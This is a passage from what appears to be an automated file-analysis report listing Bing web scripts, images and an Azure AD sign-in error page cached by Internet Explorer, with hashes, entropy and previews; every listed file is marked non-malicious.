Preview:	(function(){function b(e){var l=e[1],s=l&&_ge(l.vid);s&&(h=_ge("bnp.nid."+f),i=n.getAttribute("data-overlay")==="true"?!0:!1,c=n.getAttribute("data-setscroll")==="true"?!0:!1,k(),ClassUtil.removeClass(h,y),s.style.display="block",c&&d(),sj_evt.fire("bnp.notif.shown",s),i?nt():sj_evt.fire("McpDismissed"),u=_ge(w),t=_ge(v),t.focus(),r=_ge(p),u&&sj_be(u,o,tt),t&&sj_be(t,o,g))}var v="bnp_btn_accept",o="click",y="b_hide",p="cookie_preference",w="bnp_btn_preference",r,u,t,n=_ge("bnp_cookie_banner"),s=_ge("b_footer"),f=_w.bnp.pb_sttc.id,h,e,i,c,k=function(){var t=n&&n.getAttribute("data-position"),i=_ge("bnp_container");i&&t&&t.toLocaleLowerCase()=="top"&&(i.style.top=t+"px",i.style.bottom="auto")},d=function(){var i=_ge("bnp_container"),r=_ge("bnp_action_container"),n=_ge("bnp_content_desc"),u=_ge("bnp_title_container"),t;i&&r&&n&&u&&(t=i.offsetHeight-(r.offsetHeight+u.offsetHeight+130),n.style.maxHeight=t+"px",t<280&&(n.style.marginRight="-10px"))},g=function(t){ManagedCookiePreferenceActio

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\httpErrorPagesScripts[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	12105
Entropy (8bit):	5.451485481468043
Encrypted:	false
SSDEEP:	192:x20iniOciwd1BtvjrG8tAGGGVWnvyJVUrUiki3ayimi5ezLCvJG1gwm3z:xPini/i+1Btvjy815ZVUwiki3ayimi5f
MD5:	9234071287E637F85D721463C488704C
SHA1:	CCA09B1E0FBA38BA29D3972ED8DCECEFDEF8C152
SHA-256:	65CC039890C7CEB927CE40F6F199D74E49B8058C3F8A6E22E8F916AD90EA8649
SHA-512:	87D691987E7A2F69AD8605F35F94241AB7E68AD4F55AD384F1F0D40DC59FFD1432C758123661EE39443D624C881B01DCD228A67AFB8700FE5E66FC794A6C0384
Malicious:	false
IE Cache URL:	res://ieframe.dll/httpErrorPagesScripts.js
Preview:	...function isExternalUrlSafeForNavigation(urlStr)..{..var regEx = new RegExp("^(http(s?)\|ftp\|file)://", "i");..return regEx.exec(urlStr);..}..function clickRefresh()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..window.location.replace(location.substring(poundIndex+1));..}..}..function navCancelInit()..{..var location = window.location.href;..var poundIndex = location.indexOf('#');..if (poundIndex != -1 && poundIndex+1 < location.length && isExternalUrlSafeForNavigation(location.substring(poundIndex+1)))..{..var bElement = document.createElement("A");..bElement.innerText = L_REFRESH_TEXT;..bElement.href = 'javascript:clickRefresh()';..navCancelContainer.appendChild(bElement);..}..else..{..var textNode = document.createTextNode(L_RELOAD_TEXT);..navCancelContainer.appendChild(textNode);..}..}..function getDisplayValue(elem

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\k5oM71-Oyo7w7ptkcB_2S5dIr7I.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with CRLF line terminators
Category:	downloaded
Size (bytes):	21824
Entropy (8bit):	5.243380331742482
Encrypted:	false
SSDEEP:	384:HXpeDC+2uguwBYFsOZrSzz3wp0OxAmzjEHU:HXpeDz2gFsOZrOXWz4HU
MD5:	071CABC528DA3CDD5BD5C7F0EC48ED96
SHA1:	8B665A2DA630D6711E01E838877510F48C40E9CE
SHA-256:	9871F6289648EEA5CB484C2307C4E7BCDF3857AEB27EB07E0ACFD4C1B77EDBB5
SHA-512:	771DA4D3B22B53C5B1B1D2DF1B923B78124A7F92576700F7E988A1E40C2806CB2366D52C556F1FD49862B1A584D871ED7207B54174172740B4ED125AAD4C531F
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/k5oM71-Oyo7w7ptkcB_2S5dIr7I.gz.js
Preview:	(function () {.. if (typeof window !== 'undefined') {.. (function (arr) { arr.forEach(function (item) { if (item.hasOwnProperty('remove')) { return; } Object.defineProperty(item, 'remove', { configurable: true, enumerable: true, writable: true, value: function remove() { if (this.parentNode === null) { return; } this.parentNode.removeChild(this); } }); }); })([Element.prototype, CharacterData.prototype, DocumentType.prototype]);.... !function(e,n){"object"==typeof exports&&"undefined"!=typeof module?n():"function"==typeof define&&define.amd?define(n):n()}(0,function(){"use strict";function e(e){var n=this.constructor;return this.then(function(t){return n.resolve(e()).then(function(){return t})},function(t){return n.resolve(e()).then(function(){return n.reject(t)})})}function n(e){return!(!e\|\|"undefined"==typeof e.length)}function t(){}function o(e){if(!(this instanceof o))throw new TypeError("Promises must be constructed via new");if("function"!=typeof e)throw new Type

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\n1U5gwBiwMo7s-fWOh2kSe3Kils[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=5, xresolution=74, yresolution=82, resolutionunit=2, software=GIMP 2.10.8, datetime=2019:07:31 17:53:43], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	12094
Entropy (8bit):	7.886865463015066
Encrypted:	false
SSDEEP:	192:SiKi8QXz83TatNZ7rBakT+m47amRNj5y4zYOyuRHExmmjGjWddkuz4nicyktAtmR:SRi8083g7rBamzWNjPzguCxmmjGid60g
MD5:	05034EB84E5E7915CA36EB6FE59DFBA7
SHA1:	9F5539830062C0CA3BB3E7D63A1DA449EDCA8A5B
SHA-256:	9BEC2E05752C0699DB84352BB6E3DD4E5DAA927D32EC8123966F4A8FDF8B181A
SHA-512:	EB645D1FBB404B00D19C743C3F6F00597D91DE73EA2F02AE61AB76AFB13A913F68CB2419C205684CAD827D1369D8F76D9B7E709B8EF0AB05A86B305A7A5B7089
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/n1U5gwBiwMo7s-fWOh2kSe3Kils.jpg
Preview:	......JFIF.....H.H.....zExif..II...............J...........R...(...........1.......Z...2.......f...z...H.......H.......GIMP 2.10.8.2019:07:31 17:53:43...................................................................................................................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..8...R.Vf.\|lcR..........sJ.#...1+..VR:b.b....8&B.Qq.fj.6W50....`L.z..OrK_.+v..+..2....1.Q...K!.b..n.).A.j.s

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\sjm7ZxOOdUKgLq2Lulikx_Lt20I.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	exported SGML document, ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	4623
Entropy (8bit):	5.164231565021591
Encrypted:	false
SSDEEP:	96:B3D+ca6IQkQQX6hJmK/Vl3A2zLEzvPTkyfXeJLYryYHIZq76/PH:V+ca6IBQQX6aK9l3ASivPTkyWJLh7R
MD5:	8FD5ED5E0730854741D73A66E1C8C124
SHA1:	8A4D348BA92FEBAB3A5FC7FFDED98E0841C3CE9C
SHA-256:	63C3206CB8509C0A2DD25A0AA3555BD49E7B2E24AE95F6CB7E6521D830C986F7
SHA-512:	D52D1CCBBEDDC49B850030E3B2ABA9EADE824AE74EF4FF7055D50EDDCABC7933D6D662FEE8DF0F37B20F096E96908DA0CB89FF8DFC4E6AB14F1255BBDE745A40
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/sjm7ZxOOdUKgLq2Lulikx_Lt20I.gz.js
Preview:	define("rmsajax",["require","exports"],function(n,t){function c(){for(var i,n=[],t=0;t<arguments.length;t++)n[t]=arguments[t];if(n.length!=0){if(i=n[n.length-1],n.length==1)ot(i)&&f.push(i);else if(n.length==3){var o=n[0],s=n[1],u=n[2];st(o)&&st(s)&&ot(u)&&(ht(r,o,u),ht(e,s,u))}return window.rms}}function nt(){var i=arguments,n,t;for(o.push(i),n=0;n<i.length;n++)t=i[n],ct(t,r),t.d&&tt.call(null,t);return window.rms}function kt(){var t=arguments,n;for(s.push(t),n=0;n<t.length;n++)ct(t[n],e);return window.rms}function l(){var t,i,n;for(ri(),t=!1,n=0;n<o.length;n++)t=tt.apply(null,p.call(o[n],0))\|\|t;for(i=0;i<s.length;i++)t=ti.apply(null,p.call(s[i],0))\|\|t;if(!t)for(n=0;n<f.length;n++)f[n]()}function tt(){var n=arguments,t,i,f,e;if(n.length===0)return!1;if(t=r[ut(n[0])],n.length>1)for(i=ui.apply(null,n),f=0;f<i.length;f++)e=i[f],e.run=u,dt(e,function(n){return function(){gt(n,i)}}(e));else t.run=u,ft(t,function(){it(t)});return!0}function dt(n,t){var f,u,r;if(!n.state){if(n.state=pt,at(n)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\swyt_VnIjJDWZW5KEq7a8l_1AEw.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	2298
Entropy (8bit):	5.34865319631632
Encrypted:	false
SSDEEP:	48:KWEkTScZVcMBOwXhzwBi88RnX8ec0T39B8onA008xG9FLCx3w0S5xJ:KWEkTDZVXpR0BiXjTtB8mA0zxWsx3PG/
MD5:	A8D7D1B3681590980B2D7480906078DB
SHA1:	C9A7A400DB1EBAD4DCA028546EE5F5B2EF4136BD
SHA-256:	1390485DC88B6230389D9C95232A3710BF38D47271708A279B12D7E68E43F649
SHA-512:	710D31EFD76614EC4C94888E2FCC49ABAB50EF406FC0F1C5C10D8AA21D4E9F349DE78068B2BAFE495C074AB4E6EC0A5D44EB5506B2D79C78707A23C1D8206664
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/swyt_VnIjJDWZW5KEq7a8l_1AEw.gz.js
Preview:	var Bnp=Bnp\|\|{};Bnp.Global=Bnp.Global\|\|{};Bnp.Version="1";Bnp.Partner=Bnp.Partner\|\|function(){function u(n){sj_evt.fire("onBnpRender",n)}function i(n){var r=r\|\|{};if(typeof r.stringify=="function")return r.stringify(n);var o=typeof n,u=n&&n.constructor==Array,f=[],e,t;if(o!="object"\|\|n==null)return o=="string"?'"'+n+'"':String(n);for(e in n)t=n[e],t&&t.constructor!=Function&&(u?f.push(i(t)):f.push('"'+e+'":'+i(t)));return(u?"[":"{")+String(f)+(u?"]":"}")}function o(n){for(var r=[],u=n.getElementsByTagName("script"),t,i;u.length;)t=u[0],i=sj_ce("script"),t.src?i.src=t.src:t.text&&(i.text=t.text),i.type=t.type,t.parentNode.removeChild(t),r.push(i);return r}function s(n){for(var t=0;t<n.length;t++)f(n[t])}function f(n){t=t\|\|_d.getElementsByTagName("head")[0];t.appendChild(n)}function h(n){for(var t,i=0;i<n.length;i++)t=sj_ce("style"),t.type="text/css",t.textContent!==undefined?t.textContent=n[i]:t.styleSheet.cssText=n[i],f(t)}function c(){sj_evt.fire("onPopTR")}var n="dhplink",t,e=2500,r=

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\th[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	3792
Entropy (8bit):	7.879458150606813
Encrypted:	false
SSDEEP:	96:pPEUZavUpaPPjl0qwzhf5Q6u2i7HGLHFgak2bB+u+iiKaCPg8o:pPH0vUWlqhf5Q6uZiDFgak3neaFF
MD5:	E5D2688116BA8D4ABBC53F2493A181BE
SHA1:	2330F5A38AB1DE6979790C84B33DC173F853D6FD
SHA-256:	AA1EF9A296A78952F642406AA0F59930CDD23BC5D1714B7E306787CD4064229E
SHA-512:	0FEBAA0286AFF016B5F0B2B9984D95E2319CA29E41AF624A50D5BF1EDA33CD61017226312DE65B1E5A169A95DB7A6F9212EFFC06A498B0BA857C744CCCBDE3BA
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1flaPv.img&ehk=nfyoU%2b8cc2O%2frjxfHaxiAbz0t%2fXYbGhU6jS%2bwZAdcS0%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....`.`.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..x.[.G....uz......M8......4..l..2..?..9....$q..r./...LE....'o...w.[H.J..Z..G..NI.....gC..pk.n..hF.+..<..V...d)....,..Bpj.DT...Rl-..@...i..L......e.&(..`...P...l..J......@.Mqc}z........>..)U,y.^.Aq...X...QG.8W....Q..]^..j.\|.n~X...[......\.n.i0..#..9..<Wk......bx.._...............idb3.A..k7+.....,.M./..@...2.?.Y}M....$.......)=....w]....>Y..t+.I....Z.9$.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6M6D1PMD\th[2].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 150x150, frames 3
Category:	downloaded
Size (bytes):	2542
Entropy (8bit):	7.7794956985553245
Encrypted:	false
SSDEEP:	48:5yYcuERATBsC87tpyXKeyzbOZkEPVEGYI0Z8RV8WdxGAia:5PECCC87jyXK7ejRWSRV/dxGva
MD5:	357F88390923FD2D7C54F8EF73A57475
SHA1:	EE6F5D3CBE310AC210CF47D8F1B748B2B0B5205E
SHA-256:	80076FB2A8BD57B72985F5F3557F2B4742DE360994CD05CCA6604653E63404E0
SHA-512:	2AE5C52C81E088CEA10B4240BDF45220AEAC3C4BFDEEC6C098F946BA569AE626E753F7CC116FF133C920C14DBC94083B484A3FA045EC226A32F62D69F85D056C
Malicious:	false
IE Cache URL:	https://www.bing.com/th?u=https%3a%2f%2fimg-s-msn-com.akamaized.net%2ftenant%2famp%2fentityid%2fBB1fl5aC.img&ehk=hx9sEjlDgrlxhlQ0dXS9BWLt7M4%2fn9L%2foLPShsm8wa4%3d&w=150&h=150&c=8&rs=2&pid=WP0
Preview:	......JFIF.....H.H.....C...........................$ &%# #"(-90(6+"#2D26;=@@@&0FKE>J9?@=...C...........=)#)==================================================..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..(...7..(......d..0..ci.0.H.8.4ow;F..b[ws.....q...r..@...3L_7..?n.....?LV..d?...J+".....)(........E8.....W.....F,..JZ..Z)(.......J...fv.....@$...0.cn..q.N{g..:...RCp..2aG.lI.T..S.......w .9..V...h.E..aE.....(...(..4.J..K../J(N.WB1{..E..l-....(4Q@...[M.0........18....[..Z........W.J._.#...;s.q...v........W.l+kr.-%.#.(...(...(...j`<..:.[.a:QH.WJ1{.....c`.....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\4L4QdyjTv0HYE2Ig2ol9eYoqxg8[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1101
Entropy (8bit):	4.829151166001716
Encrypted:	false
SSDEEP:	24:t0S8eLfl954T0u2y3EO1gRcDrIvQaDxijjfscC:vLfRWtPDuQKIjq
MD5:	91CD11CFCCA65CFACE96153268D71F63
SHA1:	E0BE107728D3BF41D8136220DA897D798A2AC60F
SHA-256:	8EE1E6D7A487C38412D7B375AC4A6BD7E47F70858055EEB7957226ADA05544BE
SHA-512:	4367CE147C7FA4590838F23C47819B8954858128336979E28BA116924B92660A7CBDC9A8292C45C5F26FF591F423F03DFADCB78A772DBE86AC5FBABF0B4E7711
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/4L4QdyjTv0HYE2Ig2ol9eYoqxg8.svg
Preview:	<svg focusable="false" width="24px" height="24px" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <rect fill-opacity="0.2" fill="#000" x="0" y="0" width="24" height="24" rx="2"></rect>.. <g transform="translate(4, 4)">.. <path d="M13.2916881,1.29304814 L7.99395739,6.59077883 L2.69622669,1.29304814 C2.30349711,0.913737214 1.67923378,0.919161894 1.29315522,1.30524045 C0.907076669,1.691319 0.90165199,2.31558234 1.28096291,2.70831192 L6.57869361,8.00604261 L1.28096291,13.3037733 C0.90165199,13.6965029 0.907076669,14.3207662 1.29315522,14.7068448 C1.67923378,15.0929233 2.30349711,15.098348 2.69622669,14.7190371 L7.99395739,9.42130639 L13.2916881,14.7190371 C13.6844177,15.098348 14.308681,15.0929233 14.6947596,14.7068448 C15.0808381,14.3207662 15.0862628,13.6965029 14.7069519,13.3037733 L9.40922117,8.00604261 L14.7069519,2.70831192 C15.0976827,2.31746305 15.0976827,1.683897 14.7069519,1.29304814 C14.316103,0.902317288 13

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\5rqGloMo94v3vwNVR5OsxDNd8d0[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	461
Entropy (8bit):	4.834490109266682
Encrypted:	false
SSDEEP:	6:tI9mc4sl3WGPXN4x7ZguUz/KVqNFvneuFNH2N9wF+tC77LkeWVLKetCsYuwdOvX0:t41WeXNC1f3q/7H2DIZWYeIsrGYyKYx7
MD5:	4E67D347D439EEB1438AA8C0BF671B6B
SHA1:	E6BA86968328F78BF7BF03554793ACC4335DF1DD
SHA-256:	74DEB89D481050FD76A788660674BEA6C2A06B9272D19BC15F4732571502D94A
SHA-512:	BE40E5C7BB0E9F4C1687FFDDBD1FC16F1D2B19B40AB4865BE81DD5CF5F2D8F469E090219A5814B8DAED3E2CD711D4532E648664BFA601D1FF7BBAA83392D320E
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/5rqGloMo94v3vwNVR5OsxDNd8d0.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 32 32"><title>UserSignedOutIcon</title><circle cx="16" cy="16" r="16" fill="#eee"/><path d="M12.73 13.1a3.271 3.271 0 1 1 3.27 3.2 3.237 3.237 0 0 1-3.27-3.2zm-2.73 9.069h1.088a4.91 4.91 0 0 1 9.818 0h1.094a5.884 5.884 0 0 0-3.738-5.434 4.238 4.238 0 0 0 2.1-3.635 4.366 4.366 0 0 0-8.73 0 4.238 4.238 0 0 0 2.1 3.635 5.878 5.878 0 0 0-3.732 5.434z" fill="#666"/><path fill="none" d="M0 0h32v32h-32z"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\Lq2ZTcK-ZOpjsEJIXReQZG4mDLg.gz[1].js Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	67125
Entropy (8bit):	5.23613773666319
Encrypted:	false
SSDEEP:	768:PfY2/W3m6CHbtHgtBkrel21k4Q8BLBSaJBe7BHyJxBCGnVW4nMO51sEBvkH7BSVq:Y2rA3cnq5QPW4nMETv8jYXmNw6V+oF
MD5:	7A6E7F57E8AA30D249A26C481B6CE82C
SHA1:	9902B866538741587475CE0037E4C656F1153D2C
SHA-256:	BAAFA901C91AFC368F4C5443428A247ABE016AD95843AD74148D4321CC0D34DC
SHA-512:	553F287EAEA2583475A96D4F66685C0505FA3961348413F42996631E0F80FC3FF57389EFA6FD5E862F06CAE7110B818BFEED071DF96495CA9EBFB7BCA6FD6162
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/Lq2ZTcK-ZOpjsEJIXReQZG4mDLg.gz.js
Preview:	var AutoSuggest,__extends,Bing,sa_inst;(function(n){var t;(function(n){var t,i,r,u,f,e;(function(n){n.User="SRCHHPGUSR"})(t=n.CookieNames\|\|(n.CookieNames={})),function(n){n.AutoSuggest="AS"}(i=n.CrumbNames\|\|(n.CrumbNames={})),function(n){n.CursorPosition="cp";n.ConversationId="cvid";n.SuggestionCount="sc";n.PartialQuery="pq";n.SuggestionPosition="sp";n.SuggestionType="qs";n.PreviewPaneSuggestionType="qsc";n.SkipValue="sk";n.PreviewPaneSkipValue="skc";n.Ghosting="ghc";n.Css="css";n.Count="count";n.DataSet="ds";n.SessionId="sid";n.TimeStamp="qt";n.Query="q";n.ImpressionGuid="ig";n.QFQuery="qry";n.BaseQuery="bq";n.FormCode="form";n.HashedMuid="nclid";n.RequestElToken="elvr";n.ElTokenValue="elv";n.AppId="appid";n.History="history";n.NoHistory="nohs";n.ApiTextDecoration="textdecorations";n.ClientId="clientid";n.Market="mkt";n.Scope="scope";n.CountryCode="cc";n.HomeGeographicRegion="hgr";n.SetLang="setlang";n.ZeroInputSerp="zis"}(r=n.QueryParams\|\|(n.QueryParams={})),function(n){n.ImpressionG

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\N55Tc-oLNOuzZam9OghLsR0GD5U[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	[TIFF image data, little-endian, direntries=6, xresolution=86, yresolution=94, resolutionunit=2, software=GIMP 2.10.18, datetime=2020:04:16 19:04:38], progressive, precision 8, 160x160, frames 3
Category:	downloaded
Size (bytes):	8245
Entropy (8bit):	7.528284902127932
Encrypted:	false
SSDEEP:	192:BKWN2AtZTviNV8+xq4UZg11u5FR5CUtlkZPRKY:Yi2aZTvNSU+ODR5CCkRr
MD5:	8BC40A6F56CB4477BFB120A472920EC1
SHA1:	379E5373EA0B34EBB365A9BD3A084BB11D060F95
SHA-256:	9050D49D0786F054BC4B7DA42690B034C208A4736B7DE430383A3333A51C9835
SHA-512:	50CD42440CF3C68FC807338C4F5E3AF681FEE41C0767EE7392F9C21A75D2B6483587E89E048128470DBA92EB054E82459BC16A3B0EE61DD89BAEA11E934EAAE9
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/N55Tc-oLNOuzZam9OghLsR0GD5U.jpg
Preview:	......JFIF.....H.H......Exif..II...............V...........^...(...........1.......f...2.......t...i...............H.......H.......GIMP 2.10.18..2020:04:16 19:04:38.....................................................................................................................................JFIF.............C................................... $.' ",#..(7),01444.'9=82<.342...C...........2!.!22222222222222222222222222222222222222222222222222..........."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...(....(...(.....(...(..`.QE..QE..QE..QIH..(...(.....P.E.P.E...QE...QE.-.Q@..R..E.P.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\NnFHhz2jL6yzChtIhaB5IIVKY5k[1].svg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1111
Entropy (8bit):	4.61511796141903
Encrypted:	false
SSDEEP:	24:twgonGLheJUVYxCdBTMqTS05sLGkkhQgbQgwHW4QhJ:6gAShpyxCdBTrS05sLKhvUfSJ
MD5:	C04C8834AC91802186E6CE677AE4A89D
SHA1:	367147873DA32FACB30A1B4885A07920854A6399
SHA-256:	46CC84BA382B065045DB005E895414686F2E76B64AF854F5AD1AC0DF020C3BDB
SHA-512:	82388309085BD143E32981FE4C79604DCEFC4222FB2B53A8625852C3572BDE3D3A578DD558478E6A18F7863CC4EC19DFBA3EE78AD8A4CC71917BFFE027DC22C0
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/NnFHhz2jL6yzChtIhaB5IIVKY5k.svg
Preview:	<svg width="20px" height="16px" viewBox="0 0 20 16" focusable="false" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">.. <g transform="translate(-10, -12)" fill="#007DAA" >.. <path d="M28.125,14.4615385 L25,14.4615385 L24.26875,13.0203077 C23.95125,12.3950769 23.30125,12 22.59125,12 L17.40875,12 C16.69875,12 16.04875,12.3950769 15.73125,13.0203077 L15,14.4615385 L11.875,14.4615385 C10.84,14.4615385 10,15.2886154 10,16.3076923 L10,26.1538462 C10,27.1729231 10.84,28 11.875,28 L28.125,28 C29.16,28 30,27.1729231 30,26.1538462 L30,16.3076923 C30,15.2886154 29.16,14.4615385 28.125,14.4615385 Z M20,25.5384615 C17.23875,25.5384615 15,23.3341538 15,20.6153846 C15,17.8966154 17.23875,15.6923077 20,15.6923077 C22.76125,15.6923077 25,17.8966154 25,20.6153846 C25,23.3341538 22.76125,25.5384615 20,25.5384615 Z M20,18.1538462 C18.62125,18.1538462 17.5,19.2578462 17.5,20.6153846 C17.5,21.9729231 18.62125,23.0769231 20,23.0769231 C21.37875,23.0769231

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\ULJCe4CXM2DCjZgELMGm2K4PcPo[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 1642 x 116, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	15917
Entropy (8bit):	7.9392385460477835
Encrypted:	false
SSDEEP:	384:U5vQpWIHNNEojv3nGIsk9MdacywQLntcdejm+sJ/4blz/DXw:Vhl3jj+wcFQLtcMm+K4bR/Dg
MD5:	2D786704B21ADFC7A5037DE337502280
SHA1:	50B2427B80973360C28D98042CC1A6D8AE0F70FA
SHA-256:	54CC8693087FBAF873F72FE9CB4539499A0BC7016225F563DB92B9BFE7EEA564
SHA-512:	625AE0A637BF8B85B86D7719170AAF65ECE69A89CC1E5C76084921A7CABAC226815856D6967403F9264F2C19B4760128C8D10B0FB671D4B9F7A11DBD41B0B6D3
Malicious:	false
IE Cache URL:	https://www.bing.com/rp/ULJCe4CXM2DCjZgELMGm2K4PcPo.png
Preview:	.PNG........IHDR...j...t.............PLTE...uuv.............x.............x.r....................................vxzvwywwx.......w.................". .n....uvy.E9...ww{............x..m..............m.wwy..........l....tyyuxy......vxz.m..n....q...m.........{......vxy///...vv{.m...............twzvvy.........---......wxz!!!...........3.....................................vyy...,,,......................m.......vvxuu\|....L"~............m................lll."..#................vwy....Xx,,,....4........n....vwy....=.......#.....3........*x.0..3..3..1...................................l..$..%..............l........z..;a.........................000.......$.wxz!W.....n....xxx...............413....4.....d!..>............~...Q"qqq......"..www...[[[...Y...................G..)..`...........y..4f.........4....tRNS...0`....`...@_s....A. ...0?....p,.....P?..@...0...~._.aU...o.3.....0.3Q`./y>@^B.^.jP..........C.`.....7..nfc.G.... ..88.%...@.............k...).O...M.@....$.d.i....M

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\authorize[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines, with CRLF line terminators
Category:	dropped
Size (bytes):	1169
Entropy (8bit):	5.23598233235551
Encrypted:	false
SSDEEP:	24:k+NmKUauE2bovcLABeU572HQ3EA+s6jE4C+s0+NaSriVLoCcWZI1RbXI:n0GmLABeS71F+s6jK+s0+gSriVkCcWGM
MD5:	ABB3E0F9A832C831367934453EFB22F3
SHA1:	E37445D2611FD396F54547E2B000CCDF0D048486
SHA-256:	5F716B7DA236D7D74773E92F25181E9A2CF2D3F3163F4CF11D4CD598ECC4BCA5
SHA-512:	5AE0BCFEF36475650C9DDDD57F60D094052A373E4BB037F0A35589F311643A1AC00C44DB7A0E262B43C347A973A748B4062CA7346641AB93142872F8066A632B
Malicious:	false
Preview:	<html><head><title>Working...</title></head><body><form method="POST" name="hiddenform" action="https://www.bing.com/orgid/idtoken/conditional"><input type="hidden" name="error" value="login_required" /><input type="hidden" name="error_description" value="AADSTS50058: A silent sign-in request was sent but no user is signed in. The cookies used to represent the user's session were not sent in the request to Azure AD. This can happen if the user is using Internet Explorer or Edge, and the web app sending the silent sign-in request is in different IE security zone than the Azure AD endpoint (login.microsoftonline.com)...Trace ID: 5df76f3f-185b-4558-aece-4fe70faa7200..Correlation ID: d58daafc-5a80-4237-8c43-fcbf6f6aaaa1..Timestamp: 2021-04-06 07:43:12Z" /><input type="hidden" name="error_uri" value="https://login.microsoftonline.com/error?code=50058" /><input type="hidden" name="state" value="{"ig":"E7B3AF7955464F659FE96ADB4631F87B"}" /><noscript><p>Script is disabl

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\VAHFWDJC\dnserror[1] Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2997
Entropy (8bit):	4.4885437940628465
